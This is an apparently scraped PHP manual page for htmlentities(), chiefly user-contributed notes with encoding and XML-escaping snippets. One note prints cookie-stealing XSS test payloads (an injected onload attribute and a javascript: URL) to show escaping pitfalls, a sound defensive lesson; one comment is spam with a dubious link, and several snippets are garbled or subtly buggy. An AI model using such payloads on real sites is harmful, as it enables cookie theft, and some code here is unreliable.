echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
?>

参见

  • html_entity_decode() - Convert HTML entities to their corresponding characters
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • urlencode() - 编码 URL 字符串

User Contributed Notes

2962051004 at qq dot com 03-Oct-2018 04:09
<?php

/**
 * 将中文转为Html实体
 * Convert Chinese in HTML to entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
你好 world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * 通过json_encode函数将中文转为unicode
             * 然后用正则取出unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
Jeff 01-Jun-2018 01:25
There is a feature when writing to XML using an AJAX call to PHP that rarely is mentioned. I struggled for many hours using htmlentities() because what was getting written to my XML document was not as expected. I naturally assumed that I should be converting my strings before writing them to XML to adhere to XML rules on illegal characters. To my surprise, when converting with htmlentities() or htmlspecialchars() and then writing to an XML file, the resulting ampersands get converted afterwards! Consider the following example:

<?php
$str = "<b>I am cool</b>" ;
$str = htmlentities($str) ;
?>

When you append $str to an XML element and save() the document, you would expect the XML document's source code to look something like this:

<ele>&lt;b&gt;I am cool&lt;/b&gt;</ele>

But that is not what happens. The resulting ampersands get converted by PHP automatically to &amp; and your source code ends up looking like this:

<ele>&amp;lt;b&amp;gt;I am cool&amp;lt;/b&amp;gt;</ele>

As you can see, this creates problems when trying to output the XML data back to HTML. It is important to remember that when writing to XML this way, special characters like ">" and "<"; PHP converts them automatically and there becomes no need to use htmlentities() in certain cases. I assume this feature is in place to aid with passing data through header queries, to avoid reserved characters conflicting with others in a header query (e.g. & or =). Now I understand this may not be the case with older versions of PHP and that this might be a feature of my version (PHP version 5.6.32). With older versions, I assume using htmlentities() or htmlspecialchars() is a must, as stated with previous notes here. Also I use the charset UTF-8 in my HTML and XML and am not sure if this also effects the results I get.

Anyway, I struggled for many hours with using htmlentities() to convert strings for XML writing and saving, when all I had to do was simply not use the function and let PHP convert my strings for me. I hope this helps because I would think I am not the only one who has struggled with this situation.
sanjayaggarwal1562 at gmail dot com 06-Oct-2017 07:07
Your take good points, every person should think about it and they have to choose their leader after known about them I am Waiting for your new article keep posting. <a href="https://yahoocustomerservice.co/faqs/"> https://yahoocustomerservice.co/faqs/</a>
chris at ocproducts dot com 10-Apr-2017 01:10
This function throws a warning on bad input even if ENT_SUBSTITUTE is set, so be prepared for this.
hajo-p 05-Jan-2014 05:18
The flag ENT_HTML5 also strips newline chars like \n with htmlentities while htmlspecialchars is not affected by that.

If you want to use nl2br on that string afterwards you might end up searching the problem like i did. This does not apply to other flags like e.g. ENT_XHTML which confused me.

Tested this with PHP 5.4 / 5.5 / 5.6-dev with same results, so it seems that this is an intended "feature".
rq 19-Sep-2013 01:37
For use of html  tags, ampersands, etc. in xml document

(f.e.

<xml>

<xmltag1><span class="data1"> data 1</span> & data2</xmltag1>

</xml>

)

one can use the CDATA brackets:

<xmltag1><![CDATA[<span class="data1"> data 1</span> & data2]]></xmltag1>

-rq
ustimenko dot alexander at gmail dot com 09-Apr-2012 02:15
For those Spanish (and not only) folks, that want their national letters back after htmlentities :)

<?php
protected function _decodeAccented($encodedValue, $options = array()) {
    $options += array(
        'quote'     => ENT_NOQUOTES,
        'encoding'  => 'UTF-8',
    );
    return preg_replace_callback(
        '/&\w(acute|uml|tilde);/',
        create_function(
            '$m',
            'return html_entity_decode($m[0], ' . $options['quote'] . ', "' .
            $options['encoding'] . '");'
        ),
        $encodedValue
    );
}
?>
n at erui dot eu 20-Mar-2012 12:46
html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. &#1033; is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast.

// Unicode-proof htmlentities.
// Returns 'normal' chars as chars and weirdos as numeric html entites.
function superentities( $str ){
    // get rid of existing entities else double-escape
    $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8');
    $ar = preg_split('/(?<!^)(?!$)/u', $str );  // return array of every multi-byte character
    foreach ($ar as $c){
        $o = ord($c);
        if ( (strlen($c) > 1) || /* multi-byte [unicode] */
            ($o <32 || $o > 126) || /* <- control / latin weirdos -> */
            ($o >33 && $o < 40) ||/* quotes + ambersand */
            ($o >59 && $o < 63) /* html */
        ) {
            // convert to numeric entity
            $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
        }
        $str2 .= $c;
    }
    return $str2;
}
wd at NOSPAMwd dot it 19-Dec-2011 02:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "à","è",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Hèèèllooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Hèèèllooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 16-Nov-2011 08:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 02:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 08:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
admin at wapforum dot rs 24-Feb-2011 01:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
kindrosker at gmail dot com 10-Feb-2011 05:31
All Codes list

array('à'=>'&Agrave;', 'à'=>'&agrave;', 'á'=>'&Aacute;', 'á'=>'&aacute;', '?'=>'&Acirc;', 'a'=>'&acirc;', '?'=>'&Atilde;', '?'=>'&atilde;', '?'=>'&Auml;', '?'=>'&auml;', '?'=>'&Aring;', '?'=>'&aring;', '?'=>'&AElig;', '?'=>'&aelig;', '?'=>'&Ccedil;', '?'=>'&ccedil;', 'D'=>'&ETH;', 'e'=>'&eth;', 'è'=>'&Egrave;', 'è'=>'&egrave;', 'é'=>'&Eacute;', 'é'=>'&eacute;', 'ê'=>'&Ecirc;', 'ê'=>'&ecirc;', '?'=>'&Euml;', '?'=>'&euml;', 'ì'=>'&Igrave;', 'ì'=>'&igrave;', 'í'=>'&Iacute;', 'í'=>'&iacute;', '?'=>'&Icirc;', '?'=>'&icirc;', '?'=>'&Iuml;', '?'=>'&iuml;', '?'=>'&Ntilde;', '?'=>'&ntilde;', 'ò'=>'&Ograve;', 'ò'=>'&ograve;', 'ó'=>'&Oacute;', 'ó'=>'&oacute;', '?'=>'&Ocirc;', '?'=>'&ocirc;', '?'=>'&Otilde;', '?'=>'&otilde;', '?'=>'&Ouml;', '?'=>'&ouml;', '?'=>'&Oslash;', '?'=>'&oslash;', '?'=>'&OElig;', '?'=>'&oelig;', '?'=>'&szlig;', 'T'=>'&THORN;', 't'=>'&thorn;', 'ù'=>'&Ugrave;', 'ù'=>'&ugrave;', 'ú'=>'&Uacute;', 'ú'=>'&uacute;', '?'=>'&Ucirc;', '?'=>'&ucirc;', 'ü'=>'&Uuml;', 'ü'=>'&uuml;', 'Y'=>'&Yacute;', 'y'=>'&yacute;', '?'=>'&Yuml;', '?'=>'&yuml;');
galert420 at gmail dot com 05-Nov-2010 10:24
Croatian entites

<?php
$ent = array(
    '?'=>'&#262;',
    '?'=>'&#263;',
    '?'=>'&#268;',
    '?'=>'&#269;',
    '?'=>'&#272',
    '?'=>'&#273',
    '?'=>'&#352',
    '?'=>'&#353',
    '?'=>'&#381',
    '?'=>'&#382'
);

echo strtr('??????????', $ent);
?>
php dot net at softmoon-webware dot com 12-Oct-2010 02:32
<?php
$HTML_ENTS=array("quot", "amp", "apos", "lt", "gt", "nbsp", "iexcl", "cent",
"pound","curren", "yen", "brvbar", "sect", "uml", "copy", "ordf", "laquo",
"not", "shy", "reg", "macr", "deg", "plusmn", "sup2", "sup3", "acute",
"micro", "para", "middot", "cedil", "sup1", "ordm", "raquo", "frac14",
"frac12", "frac34", "iquest", "Agrave", "Aacute", "Acirc", "Atilde", "Auml",
"Aring", "AElig", "Ccedil", "Egrave", "Eacute", "Ecirc", "Euml", "Igrave",
"Iacute", "Icirc", "Iuml", "ETH", "Ntilde", "Ograve", "Oacute", "Ocirc",
"Otilde", "Ouml", "times", "Oslash", "Ugrave", "Uacute", "Ucirc", "Uuml",
"Yacute", "THORN", "szlig", "agrave", "aacute", "acirc", "atilde", "auml",
"aring", "aelig", "ccedil", "egrave", "eacute", "ecirc", "euml", "igrave",
"iacute", "icirc", "iuml", "eth", "ntilde", "ograve", "oacute", "ocirc",
"otilde", "ouml", "divide", "oslash", "ugrave", "uacute", "ucirc", "uuml",
"yacute", "thorn", "yuml", "OElig", "oelig", "Scaron", "scaron", "Yuml",
"fnof", "circ", "tilde", "Alpha", "Beta", "Gamma", "Delta", "Epsilon",
"Zeta", "Eta", "Theta", "Iota", "Kappa", "Lambda", "Mu", "Nu", "Xi",
"Omicron", "Pi", "Rho", "Sigma", "Tau", "Upsilon", "Phi", "Chi", "Psi",
"Omega", "alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta",
"theta", "iota", "kappa", "lambda", "mu", "nu", "xi", "omicron", "pi",
"rho", "sigmaf", "sigma", "tau", "upsilon", "phi", "chi", "psi", "omega",
"thetasym", "upsih", "piv", "ensp", "emsp", "thinsp", "zwnj", "zwj", "lrm",
"rlm", "ndash", "mdash", "lsquo", "rsquo", "sbquo", "ldquo", "rdquo",
"bdquo", "dagger", "Dagger", "bull", "hellip", "permil", "prime", "Prime",
"lsaquo", "rsaquo", "oline", "frasl", "euro", "image", "weierp", "real",
"trade", "alefsym", "larr", "uarr", "rarr", "darr", "harr", "crarr", "lArr",
"uArr", "rArr", "dArr", "hArr", "forall", "part", "exist", "empty", "nabla",
"isin", "notin", "ni", "prod", "sum", "minus", "lowast", "radic", "prop",
"infin", "ang", "and", "or", "cap", "cup", "int", "there4", "sim", "cong",
"asymp", "ne", "equiv", "le", "ge", "sub", "sup", "nsub", "sube", "supe",
"oplus", "otimes", "perp", "sdot", "lceil", "rceil", "lfloor",
"rfloor", "lang", "rang", "loz", "spades", "clubs", "hearts", "diams");

// The selection of tags below is optimized for use with a webmaster's database,
// --NOT-- to process user POSTs from the World Wide Web
//  for inclusion on a public page.

//  NOT included:
//   form,  input,  select,  option,  label,  optgroup,  textarea,  area,  map,
//   html,  head,  style,  link,  meta,  base,  body,  isindex,
//   frame,  frameset,  noframes
//  (include those above at your wish,  remove those below at your wish)
$HTML_TAGS=array("a", "abbr", "acronym", "address", "applet", "b", "basefont",
"bdo", "big", "blockquote", "br", "button", "caption", "center", "cite",
"code", "col", "colgroup", "dd", "del", "dfn", "dir", "div", "dl", "dt", "em",
"embed", "fieldset", "font", "h1", "h2", "h3", "h4", "h5", "h6", "hr", "i",
"iframe", "img", "ins", "kbd", "legend", "li", "menu", "noembed", "noscript",
"object", "ol", "p", "param", "pre", "q", "s", "samp", "script", "small",
"span", "strike", "strong", "sub", "sup", "table", "tbody", "td", "tfoot",
"th", "thead", "title", "tr", "tt", "u", "ul", "var");

$Xchars = array(
 128 => '&#8364;',
 130 => '&#8218;',
 131 => '&#402;',
 132 => '&#8222;',
 133 => '&#8230;',
 134 => '&#8224;',
 135 => '&#8225;',
 136 => '&#710;',
 137 => '&#8240;',
 138 => '&#352;',
 139 => '&#8249;',
 140 => '&#338;',
 142 => '&#381;',
 145 => '&#8216;',
 146 => '&#8217;',
 147 => '&#8220;',
 148 => '&#8221;',
 149 => '&#8226;',
 150 => '&#8211;',
 151 => '&#8212;',
 152 => '&#732;',
 153 => '&#8482;',
 154 => '&#353;',
 155 => '&#8250;',
 156 => '&#339;',
 158 => '&#382;',
 159 => '&#376;');
?>
drallen at cs dot uwaterloo dot ca 29-Sep-2010 04:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 01:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 12:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
Wired 13-May-2010 05:22
I needed a simple little function to take a string and convert extended ascii characters into html entities. I couldn't find a function for this so I whipped one up.

<?php
/* Convert Extended ASCII Characters to HTML Entities */
function ascii2entities($string){
    for($i=128;$i<=255;$i++){
        $entity = htmlentities(chr($i), ENT_QUOTES, 'cp1252');
        $temp = substr($entity, 0, 1);
        $temp .= substr($entity, -1, 1);
        if ($temp != '&;'){
            $string = str_replace(chr($i), '', $string);
        }
        else{
            $string = str_replace(chr($i), $entity, $string);
        }
    }
    return $string;
}

echo ascii2entities("?");
?>
phil at lavin dot me dot uk 08-Apr-2010 08:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
sirarthur at sirarthur dot info 05-Oct-2009 01:05
When happens that you want to encode special characters but not the HTML tags using this function you've two options:

a) Build your own function and go replace by character; eg.

<?php
  for($i = 0; $i < strlen($string); $i++){
     switch(substr($string,$i,1)){
        //..... A VERY HUGE switch here with all characters to encode.
    }
 }
?>

b) use this function and simple restore the html tags afterwards. Which gives you a 6 line function as follow:

<?php
  function keephtml($string){
          $res = htmlentities($string);
          $res = str_replace("&lt;","<",$res);
          $res = str_replace("&gt;",">",$res);
          $res = str_replace("&quot;",'"',$res);
          $res = str_replace("&amp;",'&',$res);
          return $res;
}
?>
montana 08-Jul-2009 09:54
under what circumstances would someone want a ntilde [?] to be converted into "?±" as htmlentities does?
the correct method of translation should return the accurate NCR for the multibyte unicode sequence
which in this case is &#241;

<?php

    //simple task: convert everything from utf-8 into an NCR[numeric character reference]
    class unicode_replace_entities {
        public function UTF8entities($content="") {
            $contents = $this->unicode_string_to_array($content);
            $swap = "";
            $iCount = count($contents);
            for ($o=0;$o<$iCount;$o++) {
                $contents[$o] = $this->unicode_entity_replace($contents[$o]);
                $swap .= $contents[$o];
            }
            return mb_convert_encoding($swap,"UTF-8"); //not really necessary, but why not.
        }

        public function unicode_string_to_array( $string ) { //adjwilli
            $strlen = mb_strlen($string);
            while ($strlen) {
                $array[] = mb_substr( $string, 0, 1, "UTF-8" );
                $string = mb_substr( $string, 1, $strlen, "UTF-8" );
                $strlen = mb_strlen( $string );
            }
            return $array;
        }

        public function unicode_entity_replace($c) { //m. perez
            $h = ord($c{0});
            if ($h <= 0x7F) {
                return $c;
            } else if ($h < 0xC2) {
                return $c;
            }

            if ($h <= 0xDF) {
                $h = ($h & 0x1F) << 6 | (ord($c{1}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xEF) {
                $h = ($h & 0x0F) << 12 | (ord($c{1}) & 0x3F) << 6 | (ord($c{2}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xF4) {
                $h = ($h & 0x0F) << 18 | (ord($c{1}) & 0x3F) << 12 | (ord($c{2}) & 0x3F) << 6 | (ord($c{3}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            }
        }
    }//

    //utf-8 environment
    $content = "<strong>ba?o ba?o ba?o</strong>日本語 = nihongo da ze.<br />";

    $oUnicodeReplace = new unicode_replace_entities();
    $content = $oUnicodeReplace->UTF8entities($content);
    echo "<br />Result:<br />";
    echo $content;
    $source = htmlentities($content);
    echo "<br />htmlentities of resulting data:<br />";
    echo $source;

    echo "<br /><br />Note: Entities get replaced with 'literals' in textarea FF3<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo $content;
    echo "</textarea>";

    echo "<br /><br />For editing NCR's rather than 'literals' in a textarea<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo preg_replace("/(&#)+/","&amp;#",$content);
    echo "</textarea>";

?>
brianhamner at yahoo dot com 08-Jul-2009 09:26
If you want something simple that actually works, try this. Strips MS word and other entities and returns a clear data string:

<?php
//call this function

function DoHTMLEntities ($string) {
    $trans_tbl[chr(145)] = '&#8216;';
    $trans_tbl[chr(146)] = '&#8217;';
    $trans_tbl[chr(147)] = '&#8220;';
    $trans_tbl[chr(148)] = '&#8221;';
    $trans_tbl[chr(142)] = '&eacute;';
    $trans_tbl[chr(150)] = '&#8211;';
    $trans_tbl[chr(151)] = '&#8212;';
    return strtr ($string, $trans_tbl);
}

//insert your string variable here

        $foo = str_replace("\r\n\r\n","",htmlentities($your_string));
        $foo2 = str_replace("\r\n"," ",$foo);
        $foo3 = str_replace(" & ","&amp;",$foo2);
        echo DoHTMLEntities ($foo3);
?>
mzvarik at gmail dot com 14-May-2009 05:03
CZECH entities:

<?php
$ent = array(
    'ě' => '&#283;',
    'ě' => '&#282;',
    '?' => '&#353;',
    '?' => '&#352;',
    '?' => '&#269;',
    '?' => '&#268;',
    '?' => '&#345;',
    '?' => '&#344;',
    '?' => '&#382;',
    '?' => '&#381;',
    'y' => '&#253;',
    'Y' => '&#221;',
    'á' => '&#225;',
    'á' => '&#193;',
    'í' => '&#237;',
    'í' => '&#205;',
    'é' => '&#233;',
    'é' => '&#201;',
    'ú' => '&#250;',
    '?' => '&#367;',
    '?' => '&#366;',
    '?' => '&#271;',
    '?' => '&#270;',
    '?' => '&#357;',
    '?' => '&#356;',
    'ň' => '&#328;',
    '?' => '&#327;'
);

echo strtr('ě????yáíéú???ňě????Yáíéú????', $ent);
?>
gunter [dot] sammet [at] gmail [dot] com 13-Jan-2009 10:48
Had a heck of a time to get my rss entities right. using htmlentities didn't work and using html_entity_decode didn't work either. Ended up writing a custom function to encode and decode. It might still need some work but I thought to share it because I couldn't find anything on the net. Always open for suggestions to improve it! Here it is:

<?php
  $entity_custom_from = false;
  $entity_custom_to = false;
  function html_entity_decode_encode_rss($data) {
    global $entity_custom_from, $entity_custom_to;
    if(!is_array($entity_custom_from) || !is_array($entity_custom_to)){
      $array_position = 0;
      foreach (get_html_translation_table(HTML_ENTITIES) as $key => $value) {
        //print("<br />key: $key, value: $value <br />\n");
        switch ($value) {
          // These ones we can skip
          case '&nbsp;':
            break;
          case '&gt;':
          case '&lt;':
          case '&quot;':
          case '&apos;':
          case '&amp;':
            $entity_custom_from[$array_position] = $key;
            $entity_custom_to[$array_position] = $value;
            $array_position++;
            break;
          default:
            $entity_custom_from[$array_position] = $value;
            $entity_custom_to[$array_position] = $key;
            $array_position++;
        }
      }
    }
    return str_replace($entity_custom_from, $entity_custom_to, $data);
  }
?>
Tom Walter 16-Oct-2008 07:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
Kenneth Kin Lum 22-Sep-2008 04:47
use htmlspecialchars() if you are passing in a usual ASCII string.  It is faster than htmlentities().

For example, if you are just doing

htmlentities('<div style="background: #fff"></div>');

then you can just use htmlspecialchars().  htmlentities() will look for all possible ways to convert string into html entities, such as &copy; or &eacute; (which is e with an acute accent on top).

Note that ASCII is just 7 bit, which is 0x00 to 0x7F.  htmlspecialchars() will handle characters inside this range already.  htmlentities() is for the 8-bit Latin-1 (ISO-8859-1) to handle European characters, or for UTF-8 when the 3rd argument is "UTF-8" to handle UTF-8 characters, or other types of encodings using different values for the 3rd argument passed into htmlentities().
snevi at im dot com dot ve 21-Jul-2008 06:10
correction to my previous post and improvement of the function: (the post was changed by the html parser and the characters displays as they should not)

<?php
    function XMLEntities($string)
    {
        $string = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/e', '_privateXMLEntities("$0")', $string);
        return $string;
    }

    function _privateXMLEntities($num)
    {
    $chars = array(
        128 => '&#8364;',
        130 => '&#8218;',
        131 => '&#402;',
        132 => '&#8222;',
        133 => '&#8230;',
        134 => '&#8224;',
        135 => '&#8225;',
        136 => '&#710;',
        137 => '&#8240;',
        138 => '&#352;',
        139 => '&#8249;',
        140 => '&#338;',
        142 => '&#381;',
        145 => '&#8216;',
        146 => '&#8217;',
        147 => '&#8220;',
        148 => '&#8221;',
        149 => '&#8226;',
        150 => '&#8211;',
        151 => '&#8212;',
        152 => '&#732;',
        153 => '&#8482;',
        154 => '&#353;',
        155 => '&#8250;',
        156 => '&#339;',
        158 => '&#382;',
        159 => '&#376;');
        $num = ord($num);
        return (($num > 127 && $num < 160) ? $chars[$num] : "&#".$num.";" );
    }
?>

in the previous post, to correct the HEX values that are not rendered, the program use a for each cicle, but that introduces a mayor complexity in execution time, so, we use the ability to call functions in the preg_replace second parameter, and ceate another funcion that evaluates the ord of the character given, and if it is between 127 and 160 it returns the modified HEX value to be understood by the browser and not brake the XML
(this work with dynamic XML generated form php with dynamic data from any source)

p.d: the '&'(&) should appear in this post as a single ampersand character and not as the html entity
keenskelly at gmail dot com 09-Jul-2008 10:00
Correction to my previous post: the set of ENTITY declarations must be inside a <!DOCTYPE element; also &nbsp; is NOT pre-defined in XML and must be left in the entity list. I also extended the list with the windows 1252 character set using a sample function borrowed from php.net user comments and extended with euro entity which we need for our app. Here is the final code that is in our production app:

<?php

// Generate a list of entity declarations from the HTML_ENTITIES set that PHP knows about to dump into the document
function htmlentities_entities() {
        $output = "<!DOCTYPE html [\n";
        foreach (get_html_translation_table_CP1252(HTML_ENTITIES) as $value) {
                $name = substr($value, 1, strlen($value) - 2);
                switch ($name) {
                        // These ones we can skip because they're built into XML
                        case 'gt':
                        case 'lt':
                        case 'quot':
                        case 'apos':
                        case 'amp': break;
                        default: $output .= "<!ENTITY {$name} \"&{$name};\">\n";
                }
        }
        $output .= "]>\n";
        return($output);
}

// ref: http://php.net/manual/en/function.get-html-translation-table.php#76564
function get_html_translation_table_CP1252($type) {
        $trans = get_html_translation_table($type);
        $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
        $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
        $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
        $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
        $trans[chr(134)] = '&dagger;';    // Dagger
        $trans[chr(135)] = '&Dagger;';    // Double Dagger
        $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
        $trans[chr(137)] = '&permil;';    // Per Mille Sign
        $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
        $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
        $trans[chr(140)] = '&OElig;';    // Latin Capital Ligature OE
        $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
        $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
        $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
        $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
        $trans[chr(149)] = '&bull;';    // Bullet
        $trans[chr(150)] = '&ndash;';    // En Dash
        $trans[chr(151)] = '&mdash;';    // Em Dash
        $trans[chr(152)] = '&tilde;';    // Small Tilde
        $trans[chr(153)] = '&trade;';    // Trade Mark Sign
        $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
        $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
        $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
        $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
        $trans['euro'] = '&euro;';    // euro currency symbol
        ksort($trans);
        return $trans;
}

?>

[EDIT BY danbrown AT php DOT net: The user's original note contained the following text:

